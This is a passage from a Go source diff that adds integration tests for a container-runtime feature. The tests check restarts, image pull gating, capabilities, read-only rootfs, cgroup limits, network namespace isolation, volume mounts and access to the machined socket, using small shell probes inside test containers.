same start time as before the reboot, so this is the pre-reboot task", name) +} + +// TestRestartAfterTermination verifies that a container which exits on its own is replaced by a new +// instance once the restart interval has elapsed, whether it exited cleanly or not. +func (suite *ContainersSuite) TestRestartAfterTermination() { + for _, test := range []struct { + name string + command string + exitCode int32 + }{ + {name: "clean-exit", command: "exit 0", exitCode: 0}, + {name: "failed-exit", command: "exit 3", exitCode: 3}, + } { + suite.Run(test.name, func() { + ctx, name, _ := suite.setupContainer(test.name) + + suite.applyContainers(ctx, suite.shellContainer(name, test.command)) + + firstID, first := suite.assertNewestInstance(ctx, name, "first exit", + func(status *containers.ContainerInstanceStatusSpec, asrt *assert.Assertions) bool { + return asrt.Equal(containers.ContainerInstancePhaseTerminated, status.Phase, + "phase is %s (error %q)", status.Phase, status.Error) && + asrt.Equal(test.exitCode, status.ExitCode) + }) + + suite.Assert().False(first.FinishedAt.IsZero(), "FinishedAt was not recorded") + + // The replacement is due one RestartInterval after the exit, so this wait has to outlast + // it by a comfortable margin. + suite.T().Logf("waiting for container %q to be restarted", name) + + suite.assertNewestInstance(ctx, name, "restart", + func(status *containers.ContainerInstanceStatusSpec, asrt *assert.Assertions) bool { + return asrt.Greater(status.Generation, first.Generation, + "still on generation %d, no replacement instance yet", first.Generation) + }) + + // And the instance that exited is not kept around: zero instances are retained. + rtestutils.AssertNoResource[*containers.ContainerInstanceSpec](ctx, suite.T(), suite.Client.COSI, firstID) + }) + } +} + +// TestUnresolvableImage verifies that a container whose image cannot be pulled is withheld while the +// pull keeps retrying, and starts once the reference is corrected. +func (suite *ContainersSuite) TestUnresolvableImage() { + if testing.Short() { + suite.T().Skip("skipping the test in short mode") + } + + ctx, name, _ := suite.setupContainer("bad-image") + + // Built off the pause image rather than the shell one: the corrected container has to stay up + // long enough for "running" to be observable, and alpine's default command exits at once. + const badImage = containerPauseImage + "-no-such-tag" + + suite.applyContainers(ctx, suite.newContainer(name, badImage)) + + // Pulling, not failed. Retries live inside the pull and run for image.PullTimeout, twenty + // minutes, so that a registry which is briefly unreachable or a mirror which comes up late + // resolves without anything upstream re-triggering. A reference that will never resolve is + // indistinguishable from those until the timeout expires, which is well beyond any deadline this + // test should have, so the failed phase is not what gets asserted here. + suite.T().Logf("waiting for the image pull of %q to be under way", name) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, name, + func(status *containers.ContainerImageStatus, asrt *assert.Assertions) { + asrt.Equal(containers.ContainerImagePhasePulling, status.TypedSpec().Phase, + "image is in phase %s (error %q)", status.TypedSpec().Phase, status.TypedSpec().Error) + asrt.Empty(status.TypedSpec().Digest, "an unresolvable reference produced a digest") + }) + + // The point of the test: ContainerSpec.Ready withholds the container while the digest is + // unresolved, so no instance is created however long the pull goes on. + suite.assertNoInstance(ctx, name) + + suite.T().Logf("correcting the image reference of %q", name) + + // Changing the reference invalidates the in-flight pull, so this does not wait out the retries. + suite.applyContainers(ctx, suite.newContainer(name, containerPauseImage)) + + suite.assertContainerRunning(ctx, name, "after the image reference was corrected") +} + +// TestEntrypointAndArgs verifies that entrypoint and args reach the container's process. +func (suite *ContainersSuite) TestEntrypointAndArgs() { + suite.Run("entrypoint-and-args", func() { + ctx, name, _ := suite.setupContainer("entrypoint-args") + + doc := suite.newContainer(name, containerShellImage) + doc.ContainerEntrypoint = []string{"/bin/echo"} + doc.ContainerArgs = []string{"entrypoint-and-args-ok"} + + suite.applyContainers(ctx, doc) + + suite.assertContainerLogged(ctx, name, "entrypoint-and-args-ok") + }) + + // The alpine image declares no ENTRYPOINT, so args alone become the command. The complementary + // case -- args overriding CMD while the image's ENTRYPOINT is preserved -- needs an image that + // declares one, and no such image is available to this suite. + suite.Run("args-only", func() { + ctx, name, _ := suite.setupContainer("args-only") + + doc := suite.newContainer(name, containerShellImage) + doc.ContainerArgs = []string{"/bin/echo", "args-only-ok"} + + suite.applyContainers(ctx, doc) + + suite.assertContainerLogged(ctx, name, "args-only-ok") + }) +} + +// TestWorkingDir verifies that workingDir is where the container's process starts. +func (suite *ContainersSuite) TestWorkingDir() { + ctx, name, _ := suite.setupContainer("workingdir") + + doc := suite.shellContainer(name, "echo cwd=$(pwd)") + doc.ContainerWorkingDir = "/tmp" + + suite.applyContainers(ctx, doc) + + logs := suite.assertContainerLogged(ctx, name, "cwd=") + + suite.Assert().Contains(logs, "cwd=/tmp", "the container did not start in its configured workingDir") +} + +// TestRunAs verifies that runAs sets the container process's user and group. +func (suite *ContainersSuite) TestRunAs() { + ctx, name, _ := suite.setupContainer("runas") + + var ( + uid int32 = 1234 + gid int32 = 5678 + ) + + doc := suite.shellContainer(name, "echo uid=$(id -u) gid=$(id -g)") + doc.RunAsConfig = &containercfg.ContainerRunAs{ + RunAsUID: &uid, + RunAsGID: &gid, + } + + suite.applyContainers(ctx, doc) + + logs := suite.assertContainerLogged(ctx, name, "uid=") + + suite.Assert().Contains(logs, fmt.Sprintf("uid=%d gid=%d", uid, gid), + "the container process did not run as the configured user and group") +} + +// TestCapabilities verifies that the capability set the container ends up with follows the profile +// and the explicit add/drop lists. +func (suite *ContainersSuite) TestCapabilities() { + // Reading CapEff rather than probing a privileged operation: it is the effective set itself, so + // the assertion cannot pass for an unrelated reason. + const readCapEff = "grep '^CapEff:' /proc/self/status" + + suite.Run("privileged-has-capabilities", func() { + ctx, name, _ := suite.setupContainer("caps-privileged") + + doc := suite.shellContainer(name, readCapEff) + doc.SecurityConfig = &containercfg.ContainerSecurity{ + SecurityProfile: configcontainer.ContainerSecurityProfilePrivileged, + } + + suite.applyContainers(ctx, doc) + + logs := suite.assertContainerLogged(ctx, name, "CapEff:") + suite.Assert().NotContains(logs, "CapEff:\t0000000000000000", + "privileged container has an empty effective capability set") + }) + + // drop is applied on top of the profile, so pairing it with privileged is the only way to tell a + // working drop apart from a profile that had dropped everything anyway. + suite.Run("drop-all-overrides-privileged", func() { + ctx, name, _ := suite.setupContainer("caps-drop-all") + + doc := suite.shellContainer(name, readCapEff) + doc.SecurityConfig = &containercfg.ContainerSecurity{ + SecurityProfile: configcontainer.ContainerSecurityProfilePrivileged, + SecurityCapabilities: &containercfg.ContainerCapabilities{ + CapabilitiesDropConfig: []string{"ALL"}, + }, + } + + suite.applyContainers(ctx, doc) + + logs := suite.assertContainerLogged(ctx, name, "CapEff:") + + suite.Assert().Contains(logs, "CapEff:\t0000000000000000", + "dropping ALL did not clear the capability set the privileged profile granted") + }) + + suite.Run("restricted-has-no-capabilities", func() { + ctx, name, _ := suite.setupContainer("caps-restricted") + + // No security stanza at all: restricted is the default. + suite.applyContainers(ctx, suite.shellContainer(name, readCapEff)) + + logs := suite.assertContainerLogged(ctx, name, "CapEff:") + + suite.Assert().Contains(logs, "CapEff:\t0000000000000000", + "the restricted profile left capabilities in the effective set") + }) +} + +// TestSecurityProfileRootfs verifies that the restricted profile mounts the rootfs read-only and that +// privileged does not. +func (suite *ContainersSuite) TestSecurityProfileRootfs() { + const probeRootfs = "touch /rootfs-probe && echo WRITABLE || echo READONLY" + + suite.Run("restricted", func() { + ctx, name, _ := suite.setupContainer("rootfs-restricted") + + suite.applyContainers(ctx, suite.shellContainer(name, probeRootfs)) + + logs := suite.assertContainerLogged(ctx, name, "READONLY", "WRITABLE") + + suite.Assert().Contains(logs, "READONLY", "the restricted profile should mount the rootfs read-only") + }) + + suite.Run("privileged", func() { + ctx, name, _ := suite.setupContainer("rootfs-privileged") + + doc := suite.shellContainer(name, probeRootfs) + doc.SecurityConfig = &containercfg.ContainerSecurity{ + SecurityProfile: configcontainer.ContainerSecurityProfilePrivileged, + } + + suite.applyContainers(ctx, doc) + + logs := suite.assertContainerLogged(ctx, name, "READONLY", "WRITABLE") + + suite.Assert().Contains(logs, "WRITABLE", "the privileged profile should not mount the rootfs read-only") + }) +} - resp, err := suite.Client.Containers(ctx, constants.K8sContainerdNamespace, common.ContainerDriver_CRI) +// TestResourceLimits verifies that resource limits reach the instance spec and the container's cgroup. +func (suite *ContainersSuite) TestResourceLimits() { + ctx, name, _ := suite.setupContainer("resources") + + const ( + memoryLimit = "64Mi" + memoryLimitBytes = 64 * 1024 * 1024 + cpuLimit = "500m" + // 500 millicores as a quota over the 100000us period the runner uses. + cpuMaxWant = "50000 100000" + ) + + doc := suite.newContainer(name, containerPauseImage) + doc.ResourcesConfig = &containercfg.ContainerResources{ + Limits: &containercfg.ContainerResourceLimits{ + CPU: cpuLimit, + Memory: memoryLimit, + }, + } + + suite.applyContainers(ctx, doc) + + instanceID, _ := suite.assertContainerRunning(ctx, name, "with resource limits") + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, instanceID, + func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.EqualValues(memoryLimitBytes, instance.TypedSpec().Resources.MemoryLimit) + asrt.NotZero(instance.TypedSpec().Resources.CPULimit) + }) + + if !suite.Capabilities().RunsTalosKernel { + suite.T().Log("skipping the cgroup assertions: cgroups are nested in container mode, so the " + + "container's cgroup is not at a path this test can predict") + + return + } + + // The cgroup is keyed by container, not by instance, so the path is stable across restarts. + cgroupPath := fmt.Sprintf("/sys/fs/cgroup/%s/%s", constants.CgroupTalosContainersRoot, name) + + suite.Assert().Equal(fmt.Sprintf("%d", memoryLimitBytes), suite.ReadFile(ctx, cgroupPath+"/memory.max")) + suite.Assert().Equal(cpuMaxWant, suite.ReadFile(ctx, cgroupPath+"/cpu.max")) +} + +// TestNetworkModes verifies that the network mode decides both the container's network namespace and +// whether the host's network files are visible in it. +func (suite *ContainersSuite) TestNetworkModes() { + // Interfaces are listed rather than counted, and routes are reported separately: a count says + // nothing about why it is wrong, and /proc/net/dev being unreadable would look the same as a + // namespace that was never created. END terminates the list so it can be matched as a whole. + // + // An empty namespace is not just lo: the kernel auto-creates a fallback tunnel device per + // namespace for every tunnel module that is loaded, so lo, tunl0, sit0 and ip6tnl0 all show up in + // one. What distinguishes it is that none of the host's own interfaces are there, and that it has + // no routes. + const describeNetwork = "echo IFACES=$(grep -o '^[^:]*:' /proc/net/dev | tr -d ' :' | tr '\n' ',')END; " + + "if [ \"$(wc -l < /proc/net/route)\" -le 1 ]; then echo NO-ROUTES; else echo HAS-ROUTES; fi; " + + "grep -q nameserver /etc/resolv.conf 2>/dev/null && echo RESOLVCONF || echo NO-RESOLVCONF" + + suite.Run("none", func() { + ctx, name, _ := suite.setupContainer("net-none") + + hostOnly := suite.hostOnlyInterfaces(ctx) + + // No network stanza at all: none is the default. + suite.applyContainers(ctx, suite.shellContainer(name, describeNetwork)) + + logs := suite.assertContainerLogged(ctx, name, "IFACES=") + + for _, iface := range hostOnly { + suite.Assert().NotContains(logs, iface+",", + "a container in network mode none should not see the host interface %q", iface) + } + + suite.Assert().Contains(logs, "NO-ROUTES", + "a container in network mode none should have no routes") + suite.Assert().Contains(logs, "NO-RESOLVCONF", + "a container with its own network namespace should not see the host's resolv.conf") + }) + + suite.Run("host", func() { + ctx, name, _ := suite.setupContainer("net-host") + + hostOnly := suite.hostOnlyInterfaces(ctx) + + doc := suite.shellContainer(name, describeNetwork) + doc.NetworkConfig = &containercfg.ContainerNetwork{ + NetworkMode: configcontainer.ContainerNetworkModeHost, + } + + suite.applyContainers(ctx, doc) + + logs := suite.assertContainerLogged(ctx, name, "IFACES=") + + // Any one of them is proof that the namespace is shared, and only one is asserted because the + // host's list includes pod veth devices which come and go: requiring all of them would fail + // whenever one was torn down between reading the list and running the container. + seesHostInterface := slices.ContainsFunc(hostOnly, func(iface string) bool { + return strings.Contains(logs, iface+",") + }) + + suite.Assert().True(seesHostInterface, + "a container sharing the host network saw none of the host's own interfaces %v", hostOnly) + + suite.Assert().Contains(logs, "HAS-ROUTES", + "a container sharing the host network should see the host's routes") + suite.Assert().Contains(logs, "RESOLVCONF", + "a container sharing the host network should see the host's resolv.conf") + }) +} + +// perNamespaceInterfaces are created by the kernel in every network namespace for which the matching +// tunnel module is loaded, so their presence says nothing about which namespace a process is in. +var perNamespaceInterfaces = []string{ + "lo", "tunl0", "sit0", "ip6tnl0", "erspan0", "gre0", "gretap0", "ip_vti0", "ip6_vti0", "ip6gre0", +} + +// hostOnlyInterfaces returns the node's network interfaces which would not exist in an empty +// namespace, i.e. the ones whose presence in a container proves it shares the host's namespace. +// +// Read from the node rather than hardcoded because the set depends on the platform and on what the +// cluster has brought up. +func (suite *ContainersSuite) hostOnlyInterfaces(ctx context.Context) []string { + var hostOnly []string + + for line := range strings.SplitSeq(suite.ReadFile(ctx, "/proc/net/dev"), "\n") { + name, _, found := strings.Cut(line, ":") + if !found { + // One of the two header lines, neither of which contains a colon. + continue + } + + name = strings.TrimSpace(name) + + if name == "" || slices.Contains(perNamespaceInterfaces, name) { + continue + } + + hostOnly = append(hostOnly, name) + } + + suite.Require().NotEmpty(hostOnly, "the node reports no interfaces of its own, so nothing distinguishes the namespaces") + + suite.T().Logf("host-only interfaces: %v", hostOnly) + + return hostOnly +} + +// TestTmpfsMount verifies that a tmpfs mount is present and writable even under the restricted +// profile, which mounts the rootfs read-only. +func (suite *ContainersSuite) TestTmpfsMount() { + ctx, name, _ := suite.setupContainer("tmpfs") + + const destination = "/scratch" + + doc := suite.shellContainer(name, "echo tmpfs-ok > "+destination+"/probe && cat "+destination+"/probe") + doc.MountsConfig = []containercfg.ContainerMount{ + { + TmpfsMount: &containercfg.TmpfsMount{ + MountDestination: destination, + MountSize: "1Mi", + }, + }, + } + + suite.applyContainers(ctx, doc) + + suite.assertContainerLogged(ctx, name, "tmpfs-ok") + + instanceID, _ := suite.assertNewestInstanceID(ctx, name) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, instanceID, + func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + if asrt.Len(instance.TypedSpec().Mounts, 1) { + asrt.Equal(destination, instance.TypedSpec().Mounts[0].Destination) + } + }) +} + +// TestHostPathMount verifies that a host path is bind-mounted into the container, and that it is +// read-only unless asked otherwise. +func (suite *ContainersSuite) TestHostPathMount() { + ctx, name, _ := suite.setupContainer("hostpath") + + // /var/log is on the ephemeral partition, which is the one label the container's SELinux domain + // is granted access to; /etc would be refused. + const ( + source = "/var/log" + destination = "/host-log" + ) + + doc := suite.shellContainer(name, + "ls "+destination+" > /dev/null && echo MOUNTED; "+ + "touch "+destination+"/probe 2>/dev/null && echo WRITABLE || echo READONLY") + doc.MountsConfig = []containercfg.ContainerMount{ + { + HostPathMount: &containercfg.HostPathMount{ + MountSource: source, + MountDestination: destination, + }, + }, + } + + suite.applyContainers(ctx, doc) + + logs := suite.assertContainerLogged(ctx, name, "READONLY", "WRITABLE") + + suite.Assert().Contains(logs, "MOUNTED", "host path was not mounted into the container") + + // Host path mounts default to rw. + suite.Assert().Contains(logs, "WRITABLE", "host path mount is read-only despite no ro option being given") +} + +// TestDependsOnPaths verifies that a container declaring dependsOn.paths waits for the path to exist +// and starts once it does. +func (suite *ContainersSuite) TestDependsOnPaths() { + if testing.Short() { + suite.T().Skip("skipping the test in short mode") + } + + // Redeclaring the container against a path that exists, rather than making the original path + // appear. This covers the gate being re-evaluated when the spec changes; the subtest below covers + // an unmet path being noticed without any config change. + suite.Run("gate-opens-on-config-change", func() { + ctx, name, _ := suite.setupContainer("dependson-repoint") + + doc := suite.newContainer(name, containerPauseImage) + doc.DependsOnConfig = &containercfg.ContainerDependsOn{ + PathsConfig: []string{fmt.Sprintf("/var/%s-absent", name)}, + } + + suite.applyContainers(ctx, doc) + + // Waiting for the image first matters: without it "no instance yet" would also be true of a + // container held back by a pull still in flight, and the test would pass without the path + // gate doing anything. + suite.assertImageReady(ctx, name) + suite.assertNoInstance(ctx, name) + + suite.T().Logf("redeclaring container %q against a path that exists", name) + + // The document has to be removed rather than patched over: strategic merge appends list + // fields unless they are tagged merge:"replace", and none of the container config's lists + // are, so patching a new paths list would leave the unmet path in place alongside it. Paths + // are an AND, so the container would stay pending forever. + suite.RemoveMachineConfigDocumentsByName(ctx, containercfg.ContainerConfigKind, name) + + // /etc/hosts is managed by EtcFileController and is present on any node serving the API. + // Note that /etc/hostname is not: Talos does not manage one, despite what the controller's + // doc comment says. + doc = suite.newContainer(name, containerPauseImage) + doc.DependsOnConfig = &containercfg.ContainerDependsOn{ + PathsConfig: []string{"/etc/hosts"}, + } + + suite.applyContainers(ctx, doc) + + suite.assertContainerRunning(ctx, name, "after being redeclared against a path that exists") + }) + + // The waiting container's own configuration never changes here: the path it waits for is created + // on the host by a second container. That is the case an operator actually has -- something else + // produces the file -- and it cannot pass by the config change alone. + suite.Run("gate-opens-when-the-path-appears", func() { + ctx, base, node := suite.setupContainer("dependson-appears") + + waiter, writer := base+"-waiter", base+"-writer" + + // Under /var because that is the ephemeral mount, the one tree a container's SELinux domain + // is granted write access to. The marker outlives the test; the name is unique to this run. + markerName := base + "-marker" + marker := "/var/" + markerName + + suite.T().Cleanup(func() { + suite.RemoveMachineConfigDocumentsByName( + client.WithNode(context.Background(), node), + containercfg.ContainerConfigKind, waiter, writer, + ) + }) + + waiterDoc := suite.newContainer(waiter, containerPauseImage) + waiterDoc.DependsOnConfig = &containercfg.ContainerDependsOn{ + PathsConfig: []string{marker}, + } + + suite.applyContainers(ctx, waiterDoc) + + suite.assertImageReady(ctx, waiter) + suite.assertNoInstance(ctx, waiter) + + suite.T().Logf("starting container %q to create %s", writer, marker) + + const writerMountPoint = "/hostvar" + + writerDoc := suite.shellContainer(writer, + "touch "+writerMountPoint+"/"+markerName+" && echo marker-created") + writerDoc.MountsConfig = []containercfg.ContainerMount{ + { + HostPathMount: &containercfg.HostPathMount{ + MountSource: "/var", + MountDestination: writerMountPoint, + }, + }, + } + + suite.applyContainers(ctx, writerDoc) + + suite.assertContainerLogged(ctx, writer, "marker-created") + + suite.assertContainerRunning(ctx, waiter, "after the path it waits for appeared") + }) +} + +// TestMultipleContainers verifies that containers declared side by side are independent of each other. +func (suite *ContainersSuite) TestMultipleContainers() { + ctx, base, node := suite.setupContainer("multi") + + first, second := base+"-a", base+"-b" + + suite.applyContainers(ctx, + suite.newContainer(first, containerPauseImage), + suite.newContainer(second, containerPauseImage), + ) + + suite.T().Cleanup(func() { + suite.RemoveMachineConfigDocumentsByName( + client.WithNode(context.Background(), node), + containercfg.ContainerConfigKind, first, second, + ) + }) + + suite.assertContainerRunning(ctx, first, "first of two") + secondID, secondInstance := suite.assertContainerRunning(ctx, second, "second of two") + + suite.T().Logf("removing container config %q, leaving %q alone", first, second) + + suite.RemoveMachineConfigDocumentsByName(ctx, containercfg.ContainerConfigKind, first) + + rtestutils.AssertNoResource[*containers.ContainerSpec](ctx, suite.T(), suite.Client.COSI, first) + suite.assertNoContainerdContainer(ctx, first) + + // The surviving container is not merely still declared: it is the same running instance, so + // removing its neighbor did not restart it. + survivingID, survivingInstance := suite.assertContainerRunning(ctx, second, "after its neighbor was removed") + + suite.Assert().Equal(secondID, survivingID, "container %q was replaced when %q was removed", second, first) + suite.Assert().Equal(secondInstance.PID, survivingInstance.PID, + "container %q was restarted when %q was removed", second, first) +} + +// TestLogs verifies that a container's output is readable through the logs API under the name the +// container runtime registers it as. +func (suite *ContainersSuite) TestLogs() { + ctx, name, _ := suite.setupContainer("logs") + + const marker = "log-line-marker" + + suite.applyContainers(ctx, suite.shellContainer(name, "echo "+marker)) + + suite.assertContainerLogged(ctx, name, marker) + + // The log is registered under a prefixed ID so it cannot collide with a service of the same name. + stream, err := suite.Client.Logs(ctx, constants.SystemContainerdNamespace, common.ContainerDriver_CONTAINERD, + name, false, -1) suite.Require().NoError(err) - suite.Assert().NotEmpty(resp.GetMessages()) + reader, err := client.ReadStream(stream) + if err == nil { + //nolint:errcheck + defer reader.Close() - for _, message := range resp.GetMessages() { - suite.Assert().NotEmpty(message.GetContainers()) + body, readErr := io.ReadAll(reader) + if readErr == nil { + suite.Assert().NotContains(string(body), marker, + "container logs are reachable under the unprefixed name %q", name) + } + } +} - matched := false +// TestContainerUserVolumeMount covers a container mounting a user volume: the volume is requested and +// held while the container runs, the resolved host path is a working mount inside the container, and +// the hold is given back once the container is gone. +func (suite *ContainersSuite) TestContainerUserVolumeMount() { + ctx, name, node := suite.setupContainer("uservolume") + volumeName := suite.setupUserVolume(ctx, node, "uservol") + + const destination = "/mnt/data" + + // The write is what proves the resolved host path is really mounted here: the resource assertions + // below only show what the controllers agreed on, not what the container can reach. Parked with + // sleep afterwards because a container that exits is restarted, which would race the assertion + // that it is running. + doc := suite.shellContainer(name, + "echo volume-ok > "+destination+"/probe && cat "+destination+"/probe && sleep 3600") + doc.MountsConfig = []containercfg.ContainerMount{ + { + UserVolumeMount: &containercfg.UserVolumeMount{ + VolumeName: volumeName, + MountDestination: destination, + }, + }, + } + + suite.applyContainers(ctx, doc) + + // The host path is only knowable once the volume is actually mounted, which is what the mount + // status reports. + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, name, + func(status *containers.ContainerMountStatus, asrt *assert.Assertions) { + asrt.True(status.TypedSpec().Ready, "error: %q", status.TypedSpec().Error) + + if !asrt.Len(status.TypedSpec().Mounts, 1) { + return + } + + asrt.Equal(filepath.Join(constants.UserVolumeMountPoint, volumeName), status.TypedSpec().Mounts[0].Source) + asrt.Equal(destination, status.TypedSpec().Mounts[0].Destination) + }) + + suite.assertContainerLogged(ctx, name, "volume-ok") + + // The mount gate is what was blocking this before the controller existed. + suite.assertContainerRunning(ctx, name, "with the user volume mounted") + + requestID := containerMountRequestID(name, volumeName) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, requestID, + func(request *block.VolumeMountRequest, asrt *assert.Assertions) { + asrt.False(request.TypedSpec().ReadOnly, "volume was requested read-only despite the rw default") + }) + + // The hold: the finalizer on the mount status is what stops the volume being unmounted from under + // the running container. + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, requestID, + func(status *block.VolumeMountStatus, asrt *assert.Assertions) { + asrt.Equal(filepath.Join(constants.UserVolumeMountPoint, volumeName), status.TypedSpec().Target) + asrt.True(status.Metadata().Finalizers().Has(containerMountControllerName), + "the mount is not held for the container, finalizers: %v", status.Metadata().Finalizers()) + }) + + suite.T().Logf("removing container config %q", name) + + suite.RemoveMachineConfigDocumentsByName(ctx, containercfg.ContainerConfigKind, name) + + // The hold has to be given back, or tearing the volume down would block on our finalizer. + rtestutils.AssertNoResource[*containers.ContainerMountStatus](ctx, suite.T(), suite.Client.COSI, name) + rtestutils.AssertNoResource[*block.VolumeMountRequest](ctx, suite.T(), suite.Client.COSI, requestID) + + suite.T().Logf("removing user volume %q", volumeName) + + suite.RemoveMachineConfigDocumentsByName(ctx, blockcfg.UserVolumeConfigKind, volumeName) + + // And the volume itself is then really unmounted, which is only possible because the hold was + // released above. + rtestutils.AssertNoResource[*block.MountStatus](ctx, suite.T(), suite.Client.COSI, + constants.UserVolumePrefix+volumeName) +} + +// TestUserVolumeMountWritableByDefault verifies that a user volume mounted without options is +// writable, both as requested of the block subsystem and as the container finds it. +func (suite *ContainersSuite) TestUserVolumeMountWritableByDefault() { + ctx, name, node := suite.setupContainer("volume-rw") + volumeName := suite.setupUserVolume(ctx, node, "volrw") + + const destination = "/mnt/data" + + // The destination is checked first: the image does not ship it, so a mount that never happened + // would make the write fail and read as READONLY, passing this test for the wrong reason. + doc := suite.shellContainer(name, + "[ -d "+destination+" ] || { echo NOTMOUNTED; exit 0; }; "+ + "touch "+destination+"/probe 2>/dev/null && echo WRITABLE || echo READONLY") + doc.MountsConfig = []containercfg.ContainerMount{ + { + UserVolumeMount: &containercfg.UserVolumeMount{ + VolumeName: volumeName, + MountDestination: destination, + }, + }, + } + + suite.applyContainers(ctx, doc) + + logs := suite.assertContainerLogged(ctx, name, "READONLY", "WRITABLE", "NOTMOUNTED") + + suite.Assert().NotContains(logs, "NOTMOUNTED", "the user volume was not mounted into the container") + suite.Assert().Contains(logs, "WRITABLE", "user volume mount is read-only despite no ro option being given") + + // The other half of the contract: writable has to reach the block subsystem as well, so that this + // container counts as a writable holder of the volume. + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, containerMountRequestID(name, volumeName), + func(request *block.VolumeMountRequest, asrt *assert.Assertions) { + asrt.False(request.TypedSpec().ReadOnly, "volume %q was requested read-only", volumeName) + }) +} + +// TestUserVolumeMountGate verifies that a container whose volume has not been declared is withheld, +// and starts once the volume shows up. +// +// The pause image is used because it is already on every node, so nothing here waits on a pull; what +// is being timed is the gate, not the registry. +func (suite *ContainersSuite) TestUserVolumeMountGate() { + if testing.Short() { + suite.T().Skip("skipping the test in short mode") + } + + ctx, name, node := suite.setupContainer("volume-gate") + + // Named but not declared: the volume config is applied only further down. + volumeName := fmt.Sprintf("itv-gate-%04x", rand.Int31()) + + doc := suite.newContainer(name, containerPauseImage) + doc.MountsConfig = []containercfg.ContainerMount{ + { + UserVolumeMount: &containercfg.UserVolumeMount{ + VolumeName: volumeName, + MountDestination: "/mnt/data", + }, + }, + } + + suite.applyContainers(ctx, doc) + + suite.T().Logf("verifying container %q waits for the undeclared volume %q", name, volumeName) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, name, + func(status *containers.ContainerMountStatus, asrt *assert.Assertions) { + asrt.False(status.TypedSpec().Ready, "mounts are ready without the volume being declared") + asrt.Contains(status.TypedSpec().Error, volumeName) + }) + + // The user-visible half of the gate: an unresolvable mount withholds the container itself. + suite.assertNoInstance(ctx, name) + + suite.declareUserVolume(ctx, node, volumeName) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, name, + func(status *containers.ContainerMountStatus, asrt *assert.Assertions) { + asrt.True(status.TypedSpec().Ready, "error: %q", status.TypedSpec().Error) + }) + + suite.assertContainerRunning(ctx, name, "once the volume was declared") +} + +// TestAllowMachinedAccess verifies that security.machinedAccess publishes the container's PID as a +// ServicePID resource and mounts the machined API socket into the container, and that neither +// happens when it is left unset. +func (suite *ContainersSuite) TestAllowMachinedAccess() { + suite.Run("enabled", func() { + if testing.Short() { + suite.T().Skip("skipping the test in short mode") + } + + ctx, name, _ := suite.setupContainer("allow-machined-enabled") + script := fmt.Sprintf( + `if [ -S %s ]; then echo SOCKET_OK; else echo SOCKET_MISSING; fi +sleep 3600`, + constants.MachineSocketPath, + ) + + doc := suite.shellContainer(name, script) + doc.SecurityConfig = &containercfg.ContainerSecurity{ + SecurityProfile: configcontainer.ContainerSecurityProfilePrivileged, + SecurityMachinedAccess: true, + } + + suite.applyContainers(ctx, doc) + + _, instance := suite.assertContainerRunning(ctx, name, "with security.machinedAccess") + + logs := suite.assertContainerLogged(ctx, name, "SOCKET_OK", "SOCKET_MISSING") + + suite.Assert().Contains(logs, "SOCKET_OK", + "the machined socket is not mounted into the container: %s", logs) + + rtestutils.AssertResource(ctx, suite.T(), suite.Client.COSI, constants.ContainerServicePIDPrefix+name, + func(servicePID *runtimeres.ServicePID, asrt *assert.Assertions) { + asrt.EqualValues(instance.PID, servicePID.TypedSpec().PID) + }) + + suite.T().Logf("removing container config %q", name) + + suite.RemoveMachineConfigDocumentsByName(ctx, containercfg.ContainerConfigKind, name) - for _, ctr := range message.GetContainers() { - if ctr.PodId == ctr.Id { - suite.Assert().Equal(images.DefaultSandboxImage, ctr.Image) + rtestutils.AssertNoResource[*runtimeres.ServicePID](ctx, suite.T(), suite.Client.COSI, constants.ContainerServicePIDPrefix+name) + }) + + suite.Run("disabled", func() { + ctx, name, _ := suite.setupContainer("allow-machined-disabled") + + script := fmt.Sprintf( + `ls %s >/dev/null 2>&1 && echo SOCKET_FOUND || echo SOCKET_ABSENT +sleep 3600`, + constants.MachineSocketPath, + ) + + suite.applyContainers(ctx, suite.shellContainer(name, script)) + + suite.assertContainerRunning(ctx, name, "without security.machinedAccess") + + logs := suite.assertContainerLogged(ctx, name, "SOCKET_ABSENT", "SOCKET_FOUND") + + suite.Assert().Contains(logs, "SOCKET_ABSENT", + "the machined socket must not be mounted without security.machinedAccess") + + rtestutils.AssertNoResource[*runtimeres.ServicePID](ctx, suite.T(), suite.Client.COSI, constants.ContainerServicePIDPrefix+name) + }) +} + +// TestAllowMachinedSocketConnect verifies that a container granted security.machinedAccess can +// actually connect() to the machined socket, not merely see it. +func (suite *ContainersSuite) TestAllowMachinedSocketConnect() { + if testing.Short() { + suite.T().Skip("skipping the test in short mode") + } + + ctx, name, _ := suite.setupContainer("allow-machined-connect") + + script := fmt.Sprintf( + `out=$(timeout 10 socat -u OPEN:/dev/null UNIX-CONNECT:%s 2>&1); rc=$? +echo "CONNECT rc=$rc out=$out" +sleep 3600`, + constants.MachineSocketPath, + ) + + doc := suite.socatContainer(name, script) + doc.SecurityConfig = &containercfg.ContainerSecurity{ + SecurityProfile: configcontainer.ContainerSecurityProfilePrivileged, + SecurityMachinedAccess: true, + } + + suite.applyContainers(ctx, doc) + + suite.assertContainerRunning(ctx, name, "with security.machinedAccess") + + logs := suite.assertContainerLogged(ctx, name, "CONNECT rc=") + + suite.Assert().Contains(logs, "CONNECT rc=0", + "the container could not connect to the machined socket: %s", logs) +} + +// setupContainer returns a node-scoped context and a container name unique to this test, and registers +// removal of that container's config. Registering the cleanup here rather than after the container is +// applied means a failure part-way through does not leave the container running for the rest of the +// run. +func (suite *ContainersSuite) setupContainer(purpose string) (context.Context, string, string) { + node := suite.RandomDiscoveredNodeInternalIP() + ctx := client.WithNode(suite.ctx, node) + + name := fmt.Sprintf("test-%s-%d", purpose, time.Now().UnixNano()) + + suite.T().Logf("using container config %q on node %s", name, node) + + suite.T().Cleanup(func() { + // suite.ctx is likely canceled by the time this runs. + cleanupCtx := client.WithNode(context.Background(), node) + + suite.RemoveMachineConfigDocumentsByName(cleanupCtx, containercfg.ContainerConfigKind, name) + }) + + return ctx, name, node +} + +// setupUserVolume declares a user volume unique to this test and returns its name. 